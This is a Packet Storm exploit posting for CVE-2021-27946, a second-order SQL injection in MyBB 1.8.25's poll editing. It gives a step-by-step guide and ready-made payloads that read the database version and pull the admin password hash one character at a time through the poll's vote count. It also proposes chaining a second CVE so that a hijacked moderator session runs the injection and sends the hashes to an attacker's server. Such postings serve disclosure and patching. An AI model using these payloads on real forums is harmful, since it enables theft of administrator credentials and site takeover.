what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB 1.8.25 SQL Injection

MyBB 1.8.25 SQL Injection
Posted Mar 23, 2021
Authored by SivertPL

MyBB version 1.8.25 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2021-27946
SHA-256 | 0119b2998f019b8c5412b0ca92b7781e14084a1c91c356608140589745767688

MyBB 1.8.25 SQL Injection

Change Mirror Download
# Exploit Title: MyBB 1.8.25 - Poll Vote Count SQL Injection
# Exploit Author: SivertPL (kroppoloe@protonmail.ch)
# Date: 20.03.2021
# Description: Lack of sanitization in the "votes[]" parameter in "Edit Poll" causes a second-order semi-blind SQL Injection that is triggered when performing a "Move/Copy" operation on the thread.
# Sofware Link: https://resources.mybb.com/downloads/mybb_1825.zip
# CVE: CVE-2021-27946

References:

1) https://portswigger.net/daily-swig/chained-vulnerabilities-used-to-take-control-of-mybb-forums
2) https://vuldb.com/?id.171307
3) https://github.com/mybb/mybb/commit/aa415f08bce01f95a8319b707bb18eb67833f4c1.patch

In order to trigger the vulnerability, you must have permission to edit polls.
Moderators and administrators can usually do it, but in some configurations regular users can do it as well.

In case you are a moderator, the vulnerability can be used as privilege escalation provided you crack the resulting salted hash.

Otherwise, you are free to use CVE-2021-27889 to impersonate the target moderator to trigger this SQL Injection from an external .js script which will perform the necessary
injections automatically, and send the resulting hashes to your server.

This is a pretty nasty vulnerability to exploit by hand (at least on regular, most common MySQL setup), but can be dangerous in the hands of
a very determined attacker who combines it with CVE-2021-27889 and an automated Javascript-Based SQL Injector.

This vulnerability might however allow for devastating execution of stacked queries when databases such as PostgreSQL or MS-SQL are used.
In such cases, the entire system is compromised as a result (an attacker can UPDATE the admin password and replace it with his own hash).

Guide:

1) Make a thread with a public poll, with multiple choices.

2) Vote on at least one choice.

3) Go to the "Edit poll" section of the poll.

4) Place the following payload in the "vote count" input (any entry within the votes[] parameter in the resulting POST request).

1','2',ascii((select version())),'0','0','1','1') -- -a

5) Save the poll.

6) Perform a "Move/Copy" operation on the thread, moving it to a different forum, or making a copy in the same forum.

This is where the SQL Injection is triggered, and you should see an SQL Error here if the payload is incorrect.

7) Go to the copied/moved version of the thread (you should be redirected there automatically).

8) Go to the "Show Results" section of the poll.

9) The total vote count under the poll is our 64 bit unsigned integer covert channel to retrieve information from the ascii select query.

Since this vulnerability is semi-blind, you can only retrieve the output of the SELECT query as an unsigned integer (hence we use ASCII()).
Other parameters in the INSERT query that we are injecting into are either too small, or unfeasible.
Unsigned integer provides enough space to extract required data when enough requests are made.

In this case, the number is the ASCII code of the first character of the result of the injected select version() query.
This way we can transfer the output through this covert channel, one character at a time.

In order to extract the admin hash, one has to either perform many requests (so it's best to automate it), or find a better way to convert a substring varchar to int.

1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 2, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 3, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 4, 1))),'0','0','1','1') -- -a
1','2',ascii((substring((SELECT password FROM mybb_users WHERE username="sivertpl"), 5, 1))),'0','0','1','1') -- -a

... etc.

This will send the ASCII codes of every char of the hashed password through the integer covert channel.


10) After sending enough requests, you should have the hashed admin password. Repeat the entire process to acquire the salt.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close